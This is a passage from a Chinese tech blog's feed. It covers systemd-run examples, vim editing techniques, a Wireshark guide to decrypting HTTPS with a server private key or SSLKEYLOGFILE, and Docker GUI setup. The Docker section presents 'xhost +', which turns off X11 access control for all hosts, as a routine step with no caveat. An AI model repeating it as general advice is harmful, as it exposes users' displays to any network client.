&lt;h3 id=&quot;ji-lu-systemd-chuan-di-gei-fu-wu-dan-yuan-de-huan-jing-bian-liang&quot;&gt;记录 systemd 传递给服务单元的环境变量&lt;&#x2F;h3&gt;
&lt;pre&gt;&lt;code&gt;$ systemd-run env
Running as unit: run-rfca9dba864cd40689ed91b8ae192a8c7.service
$ $ journalctl -u run-rfca9dba864cd40689ed91b8ae192a8c7.service
Apr 07 14:46:40 ip-172-31-38-208 systemd[1]: Started &amp;#x2F;usr&amp;#x2F;bin&amp;#x2F;env.
Apr 07 14:46:40 ip-172-31-38-208 env[438183]: LANG=C.UTF-8
Apr 07 14:46:40 ip-172-31-38-208 env[438183]: PATH=&amp;#x2F;usr&amp;#x2F;local&amp;#x2F;sbin:&amp;#x2F;usr&amp;#x2F;local&amp;#x2F;bin:&amp;#x2F;usr&amp;#x2F;sbin:&amp;#x2F;usr&amp;#x2F;bin:&amp;#x2F;sbin:&amp;#x2F;bin:&amp;#x2F;snap&amp;#x2F;&amp;gt;
Apr 07 14:46:40 ip-172-31-38-208 env[438183]: INVOCATION_ID=e283c29bdf9845c496ace0bb351dff67
Apr 07 14:46:40 ip-172-31-38-208 env[438183]: JOURNAL_STREAM=8:10454352
Apr 07 14:46:40 ip-172-31-38-208 env[438183]: SYSTEMD_EXEC_PID=438183
Apr 07 14:46:40 ip-172-31-38-208 systemd[1]: run-rfca9dba864cd40689ed91b8ae192a8c7.service: Deactivated successfully.
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;xian-zhi-yi-ge-ming-ling-ke-yi-shi-yong-de-zi-yuan&quot;&gt;限制一个命令可以使用的资源&lt;&#x2F;h3&gt;
&lt;p&gt;运行 &lt;code&gt;updatedb&lt;&#x2F;code&gt; 工具，并将其块设备 &lt;code&gt;I&#x2F;O&lt;&#x2F;code&gt; 权重限制到 &lt;code&gt;10&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;systemd-run -p BlockIOWeight=10 updatedb
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;te-ding-shi-jian-yun-xing-ming-ling&quot;&gt;特定时间运行命令&lt;&#x2F;h3&gt;
&lt;pre&gt;&lt;code&gt;$ date; systemd-run --on-active=30 --timer-property=AccuracySec=100ms &amp;#x2F;bin&amp;#x2F;touch &amp;#x2F;tmp&amp;#x2F;foo
Sun Apr  7 02:49:09 PM UTC 2024
Running timer as unit: run-r904f7dd2409c4226a3a4a7cd6d30b64e.timer
Will run service as unit: run-r904f7dd2409c4226a3a4a7cd6d30b64e.service
$ journalctl -b -u run-r904f7dd2409c4226a3a4a7cd6d30b64e.timer
Apr 07 14:49:09 ip-172-31-38-208 systemd[1]: Started &amp;#x2F;bin&amp;#x2F;touch &amp;#x2F;tmp&amp;#x2F;foo.
$ journalctl -b -u run-r904f7dd2409c4226a3a4a7cd6d30b64e.timer
Apr 07 14:49:09 ip-172-31-38-208 systemd[1]: Started &amp;#x2F;bin&amp;#x2F;touch &amp;#x2F;tmp&amp;#x2F;foo.
$ journalctl -b -u run-r904f7dd2409c4226a3a4a7cd6d30b64e.service
Apr 07 14:49:39 ip-172-31-38-208 systemd[1]: Started &amp;#x2F;bin&amp;#x2F;touch &amp;#x2F;tmp&amp;#x2F;foo.
Apr 07 14:49:39 ip-172-31-38-208 systemd[1]: run-r904f7dd2409c4226a3a4a7cd6d30b64e.service: Deactivated successfully.
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;yun-xu-bei-yun-xing-de-ming-ling-fang-wen-zhong-duan&quot;&gt;允许被运行的命令访问终端&lt;&#x2F;h3&gt;
&lt;p&gt;以临时服务的方式运行 &lt;code&gt;&#x2F;bin&#x2F;bash&lt;&#x2F;code&gt; 命令， 并将其&lt;code&gt;标准输入&lt;&#x2F;code&gt;、&lt;code&gt;标准输出&lt;&#x2F;code&gt;、&lt;code&gt;标准错误&lt;&#x2F;code&gt;连接到当前的 &lt;code&gt;TTY&lt;&#x2F;code&gt; 设备上&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;$ systemd-run -t --send-sighup &amp;#x2F;bin&amp;#x2F;bash
Running as unit: run-u166.service
Press ^] three times within 1s to disconnect TTY.
root@ip-172-31-38-208:&amp;#x2F;#
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;zai-yi-ge-lin-shi-de-yong-hu-dan-yuan-zhong-yun-xing-screen-gong-ju&quot;&gt;在一个临时的用户单元中运行 screen 工具&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;把 &lt;code&gt;screen&lt;&#x2F;code&gt; 作为 &lt;code&gt;systemd --user&lt;&#x2F;code&gt; 进程(由 &lt;code&gt;user@.service&lt;&#x2F;code&gt; 的某个实例启动)的子进程运行，并将其封装在一个临时 &lt;code&gt;scope&lt;&#x2F;code&gt; 单元中&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;使用 &lt;code&gt;systemd.scope&lt;&#x2F;code&gt; 单元而不是 &lt;code&gt;systemd.service&lt;&#x2F;code&gt; 单元，是因为 &lt;code&gt;screen&lt;&#x2F;code&gt; 会在脱离终端后退出，进而导致 &lt;code&gt;service&lt;&#x2F;code&gt; 单元被终结。将 &lt;code&gt;screen&lt;&#x2F;code&gt; 放在用户单元中运行，可以避免它成为会话 &lt;code&gt;scope&lt;&#x2F;code&gt; 单元的一部分&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre&gt;&lt;code&gt;ubuntu@ip-172-31-38-208:~$ systemd-run --scope --user screen
Running scope as unit: run-ra297f1dd124e4e30a8bb7edfb6172fe4.scope
[detached from 438261.pts-0.ip-172-31-38-208]
cmd + A, cmd + D
ubuntu@ip-172-31-38-208:~$ screen -ls
There is a screen on:
	438261.pts-0.ip-172-31-38-208	(04&amp;#x2F;07&amp;#x2F;2024 02:55:12 PM)	(Detached)
1 Socket in &amp;#x2F;run&amp;#x2F;screen&amp;#x2F;S-ubuntu.
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;xian-zhi-zi-yuan&quot;&gt;限制资源&lt;&#x2F;h3&gt;
&lt;pre&gt;&lt;code&gt;# 指定 scope 作为前台进程存在的
systemd-run -p MemoryLimit=5M --unit=name --scope --slice=slice_name command

# 指定 scope 作为 .service 存在
systemd-run -p MemoryLimit=5M --unit=name --slice=slice_name command

# 命令执行完成后，创建的临时单元文件会自动清理
systemd-run -p MemoryLimit=5M  -p CPUShares=100 --unit=sleep-10  --scope  --slice=test sleep 10

# 将 bash 放入 service，限制其资源使用
# 使用 systemctl cat bash-limit.service 查看详情
# 使用 systemctl disable bash-limit.service --now 停止
systemd-run -p MemoryLimit=5M -p CPUShares=100 --unit=bash-limit   --slice=bash-test -t &amp;#x2F;bin&amp;#x2F;bash
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>You don’t need more than one cursor in vim</title>
        <published>2024-08-30T00:00:00+00:00</published>
        <updated>2024-08-30T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/you-don-t-need-more-than-one-cursor-in-vim/"/>
        <id>https://vercel.juzhong.asia/obsidian/you-don-t-need-more-than-one-cursor-in-vim/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/you-don-t-need-more-than-one-cursor-in-vim/">&lt;h1 id=&quot;you-don-t-need-more-than-one-cursor-in-vim&quot;&gt;You don’t need more than one cursor in vim&lt;&#x2F;h1&gt;
&lt;p&gt;Sublime text first introduced multiple cursor editing (as far as I know). Meaning editing code at multiple positions at the same time. There is a plugin for vim (&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;terryma&#x2F;vim-multiple-cursors&quot;&gt;vim-multiple-cursors&lt;&#x2F;a&gt;) which allows you to mimic that behaviour, but it has some problems. Autocompletion is broken, the history is different from what I might expect and you can’t map the manipulations to a keybinding for your next vim session. Furthermore it’s hard to keep an eye on all the cursors especially when they are on different columns. After using it for quite some time I came to the conclusion that there is no situation which can’t be addressed (IMHO even better) with “native” vim features.&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;📄 [图片文字版] vim 多光标演示 GIF：多行 JS 代码中的多个 var 关键字同时被选中形成多个光标，一处输入（输入框显示 var↵）即同步应用到所有光标位置，演示 vim 多光标插件「一处编辑、多处生效」的批量编辑效果。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;vim-multiple-cursors (broken autocompletion, history)&lt;&#x2F;p&gt;
&lt;h2 id=&quot;changing-a-word-at-n-positions&quot;&gt;Changing a word at n positions&lt;&#x2F;h2&gt;
&lt;p&gt;This is the simplest problem you usually want to solve with multiple cursors. In Sublime Text 2 or Atom you usually search for a word. Select each word you want to change manually and then edit each position at once.&lt;&#x2F;p&gt;
&lt;p&gt;==In vim selecting and editing is one step. This can be done with the ========&lt;strong&gt;gn&lt;&#x2F;strong&gt;======== text-object. Normally you will search for a word you want to change and the change the next found occurrence with ========&lt;strong&gt;cgn&lt;&#x2F;strong&gt;====once and then use vim’s most powerful command the== ==&lt;strong&gt;. (dot)&lt;&#x2F;strong&gt;== ==. Using== ==&lt;strong&gt;.&lt;&#x2F;strong&gt;======== you can apply the change to the next word or skip one word with ========&lt;strong&gt;n&lt;&#x2F;strong&gt;======== which will jump to the next word.==&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;vim-multicursor&#x2F;vim-cgn-dot-word-change.gif&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;cgn (autocompletion and history)&lt;&#x2F;p&gt;
&lt;p&gt;The text-object &lt;strong&gt;gn&lt;&#x2F;strong&gt; works like other text-objects with all commands. You can for example use it with&lt;strong&gt;d&lt;&#x2F;strong&gt; to delete the matches.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;changing-a-visual-block&quot;&gt;Changing a visual block&lt;&#x2F;h2&gt;
&lt;p&gt;Surprisingly often there is a situation where you want to change a rectangular block of code that looks similar. In vim visual-block can be used for different types of modifications. The main difference to other editors is, that if you change the text the modification is first only made to the first line and will apply to all lines after you finished the modification.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;vim-multicursor&#x2F;vim-visual-block-insert.gif&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;v-block (insert before block)&lt;&#x2F;p&gt;
&lt;h2 id=&quot;making-complex-changes-on-multiple-lines&quot;&gt;Making complex changes on multiple lines&lt;&#x2F;h2&gt;
&lt;p&gt;I feel it’s often hard to keep track where each cursor is, when making complex changes at different position at the same time. I think it’s simpler to record the mutation on one line and then replay it on each line at once. In the beginning you may find it difficult to create a general macro that works for each line, but with some exercise you will get the hang on it.&lt;&#x2F;p&gt;
&lt;p&gt;There are some tricks to achieve that.&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;make going to the beginning of the line the first action when recording your macro.&lt;&#x2F;li&gt;
&lt;li&gt;navigate to the location where you want to change with &lt;strong&gt;f&lt;&#x2F;strong&gt; or&lt;strong&gt;t&lt;&#x2F;strong&gt;.&lt;&#x2F;li&gt;
&lt;li&gt;Avoid using the arrowkeys or &lt;strong&gt;hjkl&lt;&#x2F;strong&gt;. Not all rows may have the same length. Using&lt;strong&gt;w&lt;&#x2F;strong&gt;,&lt;strong&gt;e&lt;&#x2F;strong&gt;,&lt;strong&gt;b&lt;&#x2F;strong&gt; is slightly better.&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;blockquote&gt;
&lt;p&gt;📄 [图片文字版] vim 多光标+宏录制 GIF：底部状态栏显示 -- INSERT -- recording，输入框显示 qqce——先按 qq 在寄存器 q 开始录制宏，再按 ce（change to end of word）进入插入模式改写当前词（var 改为 const），多光标下宏会在每个光标处同时生效。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;macro (reusable on different lines)&lt;&#x2F;p&gt;
&lt;p&gt;To apply the macro to all lines you need a little trick I learned from &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;nelstrom&quot;&gt;Drew Neil’s&lt;&#x2F;a&gt; awesome book &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;pragprog.com&#x2F;book&#x2F;dnvim&#x2F;practical-vim&quot;&gt;practical vim&lt;&#x2F;a&gt;. Add the following script (&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;stoeffel&#x2F;.dotfiles&#x2F;blob&#x2F;master&#x2F;vim&#x2F;visual-at.vim&quot;&gt;visual-at.vim&lt;&#x2F;a&gt;) to your vim configuration. This allows you to visually select a section and then hit  &lt;strong&gt;@&lt;&#x2F;strong&gt;  to run a macro on all lines. Only lines which match will change. Without this script the macro would stop at lines which don’t match the macro.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;running-macros-over-the-whole-file&quot;&gt;Running macros over the whole file&lt;&#x2F;h2&gt;
&lt;p&gt;You can run a macro for all lines that mach a pattern on the whole file.
You need to enter the command-mode by entering  &lt;strong&gt;:&lt;&#x2F;strong&gt;  and then using the&lt;strong&gt;global&lt;&#x2F;strong&gt; (short&lt;strong&gt;g&lt;&#x2F;strong&gt;) command.&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;📄 [图片文字版] vim 多光标宏操作 GIF：底部状态栏显示 recording，输入框显示 qq，演示在多光标场景下用 qq 结束宏录制，录制的改词动作在所有光标处回放，配合前两步实现多行代码中 var→const 的批量替换。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;global (executing a macro)&lt;&#x2F;p&gt;
&lt;h2 id=&quot;saving-your-work&quot;&gt;Saving your work&lt;&#x2F;h2&gt;
&lt;p&gt;The ultimate feature that comes with vim is, that you can edit and save these macros for your next vim session and even add a key mapping. You can paste it in a new buffer by entering “[register of your macro]p (f.e. if you recorded it with  &lt;strong&gt;@q&lt;&#x2F;strong&gt; you can paste it with &lt;strong&gt;“qp&lt;&#x2F;strong&gt;). See the following gif, which explains how to paste a macro to your vimrc and add a mapping to run it on every line that matches the pattern.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;vim-multicursor&#x2F;vim-macro-save-vimrc.gif&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;saving a macro to your .vimrc&lt;&#x2F;p&gt;
&lt;p&gt;Also if you messed up you can edit the macro like this. (&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;robots.thoughtbot.com&#x2F;how-to-edit-an-existing-vim-macro&quot;&gt;thoughtbot&#x2F;how-to-edit-an-existing-vim-macro&lt;&#x2F;a&gt;)&lt;&#x2F;p&gt;
&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;&#x2F;h2&gt;
&lt;p&gt;We saw how you can solve problems with “native vim features. The text-object &lt;strong&gt;gn&lt;&#x2F;strong&gt; helps in simple situations. But to significantly speed up your productivity you should learn how to use macros. I recently started using &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;Olical&#x2F;vim-enmasse&quot;&gt;vim-enmasse&lt;&#x2F;a&gt;. It basically let’s you apply the techniques above to multiple files at the same time. I will share my experience with it as soon as it settles in my daily workflow.&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Wireshark解密HTTPS流量的两种方法</title>
        <published>2024-08-28T00:00:00+00:00</published>
        <updated>2024-08-28T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/wireshark解密https流量的两种方法/"/>
        <id>https://vercel.juzhong.asia/obsidian/wireshark解密https流量的两种方法/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/wireshark解密https流量的两种方法/">&lt;h1 id=&quot;wiresharkjie-mi-httpsliu-liang-de-liang-chong-fang-fa&quot;&gt;Wireshark解密HTTPS流量的两种方法&lt;&#x2F;h1&gt;
&lt;p&gt;&lt;strong&gt;原理&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;　　我们先回顾一下SSL&#x2F;TLS的整个握手过程：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Clienthello：发送客户端的功能和首选项给服务器，在连接建立后，当希望重协商、或者响应服务器的重协商请求时会发送。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;version：客户端支持的最佳协议版本&lt;&#x2F;li&gt;
&lt;li&gt;Random：共32字节，28字节随机数，4字节额外信息，受客户端时钟影响（为了避免浏览器指纹采集，现在一般会对4字节时钟做扭曲）&lt;&#x2F;li&gt;
&lt;li&gt;Session ID：32字节随机数，用于和服务器重建会话，为空表示新建会话&lt;&#x2F;li&gt;
&lt;li&gt;cipher suit：客户端支持的所有密码套件，按优先级排列&lt;&#x2F;li&gt;
&lt;li&gt;Compression：客户端支持的压缩算法，默认无压缩&lt;&#x2F;li&gt;
&lt;li&gt;Extensions：由任意数量的扩展组成，携带额外数据&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;ServerHello：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;选择客户端提供的参数反馈客户端&lt;&#x2F;li&gt;
&lt;li&gt;服务器无需支持客户端支持的最佳版本，如果服务器不支持客户端版本，可以提供其他版本以期待客户端可以接受&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;Certificate：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;用于携带服务器X.509证书链&lt;&#x2F;li&gt;
&lt;li&gt;主证书必须第一个发送，中间证书按照正确的顺序跟在主证书之后&lt;&#x2F;li&gt;
&lt;li&gt;服务器必须保证发送的证书和选择的算法套件一致&lt;&#x2F;li&gt;
&lt;li&gt;Certificate消息时可选的&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;ServerKeyExchange: 携带密钥交换的额外数据，取决于加密套件&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;ServerHelloDone：服务器已将所有预计的握手消息发送完毕&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;ClientkeyExchange：携带客户端为密钥交换提供的信息&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;ChangeCipherSpec：发送端已取得用以连接参数的足够的信息&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;Finish：握手完成，消息内容加密，双方可以交换验证，整个握手完整性所需的数据&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;算法：verrify_data = PRF(master_secret , finished_label,hash(handshake_message))&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;　　要解密HTTPS流量，需要得到加密密钥，加密密钥由主密钥、客户端随机数、服务器随机数生成。由上述握手过程可知，客户端随机数和服务器随机数在双方握手消息中传递，而主密钥（master_secret）则由预主密钥（pre_master_secret）结合两个随机数生成。预主密钥通过密码套件中的密钥交换算法进行交换（DH、RSA）。&lt;&#x2F;p&gt;
&lt;p&gt;　　因此，通过Wireshark解密HTTPS，可以从两个地方下手：1、密钥交换算法选择RSA，然后提取服务器的私钥，将私钥导入Wireshark，通过Wireshark解密密钥交换过程中传递的预主密钥，再结合之前的客户端和服务器随机数生成主密钥，进一步生成加密密钥，即可解密后续抓取到的加密报文。2、直接从客户端提取预主密钥，结合客户端和服务器随机数生成加密密钥，实现对加密报文的解密。&lt;&#x2F;p&gt;
&lt;p&gt;　　下面演示两种方法解密HTTPS流量。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;方法一&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;　　从服务器上导出带私钥的P12格式的证书，或者直接导出服务器的私钥。&lt;&#x2F;p&gt;
&lt;p&gt;　　捕获从TCP三次握手开始的完整报文：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;wireshark-https-decrypt&#x2F;wireshark-tls-encrypted-capture.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;　　可以看到此时的报文是被TLS加密的，无法看到具体的报文内容。&lt;&#x2F;p&gt;
&lt;p&gt;　　点击编辑——&amp;gt;首选项——&amp;gt;协议——&amp;gt;SSL（有的版本只有TLS），导入RSA key：&lt;&#x2F;p&gt;
&lt;p&gt;　　&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;wireshark-https-decrypt&#x2F;wireshark-import-rsa-key.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;　　由于通过DH方法交换的密钥不会在中间传递，所以这种方法只能解密通过RSA交换的密钥。&lt;&#x2F;p&gt;
&lt;p&gt;　　导入服务器证书：&lt;&#x2F;p&gt;
&lt;p&gt;　　&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;wireshark-https-decrypt&#x2F;wireshark-import-server-cert.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;　　点击ok后，Wireshark会对捕获的报文进行解密：&lt;&#x2F;p&gt;
&lt;p&gt;　　&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;wireshark-https-decrypt&#x2F;wireshark-decrypted-https-traffic.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;　　报文被成功解密，可以直观的看到HTTP报文的请求和响应。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;第二种&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;　　通过设置环境变量截取浏览器的pre_master_secret,进而实现解密HTTPS的目的。&lt;&#x2F;p&gt;
&lt;p&gt;　　环境变量中新建用户变量SSLKEYLOGFILE=路径\sslkey.log文件，之后再wireshark中ssl配置中制定该文件位置即可。&lt;&#x2F;p&gt;
&lt;p&gt;　　&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;wireshark-https-decrypt&#x2F;sslkeylogfile-env-variable.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;　　点击编辑&amp;gt;首选项&amp;gt;protocol&amp;gt;ssl：&lt;&#x2F;p&gt;
&lt;p&gt;　　&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;wireshark-https-decrypt&#x2F;wireshark-ssl-preferences.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;　　即可解密浏览器的访问流量：&lt;&#x2F;p&gt;
&lt;p&gt;　　&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;wireshark-https-decrypt&#x2F;wireshark-tls-decrypted-traffic.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>[Docker]GUI最佳实践 - Containerization and Automation</title>
        <published>2024-08-21T00:00:00+00:00</published>
        <updated>2024-08-21T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/[docker]gui最佳实践-containerization-and-automation/"/>
        <id>https://vercel.juzhong.asia/obsidian/[docker]gui最佳实践-containerization-and-automation/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/[docker]gui最佳实践-containerization-and-automation/">&lt;h1 id=&quot;docker-guizui-jia-shi-jian-containerization-and-automation&quot;&gt;[Docker]GUI最佳实践 - Containerization and Automation&lt;&#x2F;h1&gt;
&lt;p&gt;通过&lt;code&gt;Docker&lt;&#x2F;code&gt;运行&lt;code&gt;GUI&lt;&#x2F;code&gt;，能够实现&lt;code&gt;compile once, run everywhere&lt;&#x2F;code&gt;的效果，也有助于理清不同软件之间的依赖问题&lt;&#x2F;p&gt;
&lt;p&gt;运行&lt;code&gt;GUI&lt;&#x2F;code&gt;软件的困难在于如何利用主机的各种硬件，以及如何显示图形界面。主要包含以下几个方面&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;图形界面&lt;&#x2F;li&gt;
&lt;li&gt;存储&lt;&#x2F;li&gt;
&lt;li&gt;音频&#x2F;视频&lt;&#x2F;li&gt;
&lt;li&gt;网络&lt;&#x2F;li&gt;
&lt;li&gt;中文支持&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h2 id=&quot;tu-xing-jie-mian&quot;&gt;图形界面&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.csdn.net&#x2F;article&#x2F;2015-07-30&#x2F;2825340&quot;&gt;【微信分享】林帆：Docker运行GUI软件的方法&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;blog.csdn.net&#x2F;ericcchen&#x2F;article&#x2F;details&#x2F;79253416&quot;&gt;Docker容器图形界面显示（运行GUI软件）的配置方法&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;Docker&lt;&#x2F;code&gt;官方提供的&lt;code&gt;Ubuntu&lt;&#x2F;code&gt;镜像都是没有图形界面服务的。需要在容器中安装&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;baike.baidu.com&#x2F;item&#x2F;X11&#x2F;10166334?fr=aladdin&quot;&gt;X11(X Window System)&lt;&#x2F;a&gt;，然后将主机&lt;code&gt;DISPLAY&lt;&#x2F;code&gt;环境变量传入容器，即可实现容器&lt;code&gt;GUI&lt;&#x2F;code&gt;软件的显示&lt;&#x2F;p&gt;
&lt;p&gt;分为两种情况支持，&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;一是将本地容器中运行&lt;&#x2F;li&gt;
&lt;li&gt;二是在远程服务器容器中运行&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;ben-di-yun-xing&quot;&gt;本地运行&lt;&#x2F;h3&gt;
&lt;p&gt;其实现方式如下：&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;[应用程序]-&amp;gt;[X11客户端]-&amp;gt;[X11服务端]-&amp;gt;[显示屏幕]&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;其中容器是客户端，主机是服务端。通过主机和容器共享套接字&lt;code&gt;unix:0&lt;&#x2F;code&gt;，实现容器&lt;code&gt;GUI&lt;&#x2F;code&gt;软件显示在本地&lt;&#x2F;p&gt;
&lt;p&gt;实现如下：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;$ docker run \
    -v &amp;#x2F;tmp&amp;#x2F;.X11-unix:&amp;#x2F;tmp&amp;#x2F;.X11-unix \
    -e DISPLAY=unix$DISPLAY \
    ...
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;X11&lt;&#x2F;code&gt;服务默认只允许来自&lt;code&gt;本地用户&lt;&#x2F;code&gt;启动的图形程序将图形显示在当前屏幕上，所以在启动之前还需安装&lt;code&gt;xhost&lt;&#x2F;code&gt;命令，允许所有用户访问&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;$ sudo apt-get install x11-xserver-utils
$ xhost +
access control disabled, clients can connect from any host
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;cun-chu&quot;&gt;存储&lt;&#x2F;h2&gt;
&lt;p&gt;通常&lt;code&gt;GUI&lt;&#x2F;code&gt;软件会应用到本地文件，所以还需要实现主机和容器共享文件。可以通过&lt;code&gt;绑定挂载&lt;&#x2F;code&gt;方式，将主机目录挂载到容器中，主机和容器均可对文件进行操作&lt;&#x2F;p&gt;
&lt;p&gt;需要注意的地方是&lt;code&gt;文件权限&lt;&#x2F;code&gt;，默认容器按&lt;code&gt;root&lt;&#x2F;code&gt;用户登录，在容器中创建的文件均是&lt;code&gt;root&lt;&#x2F;code&gt;属性，不易于主机普通用户操作&lt;&#x2F;p&gt;
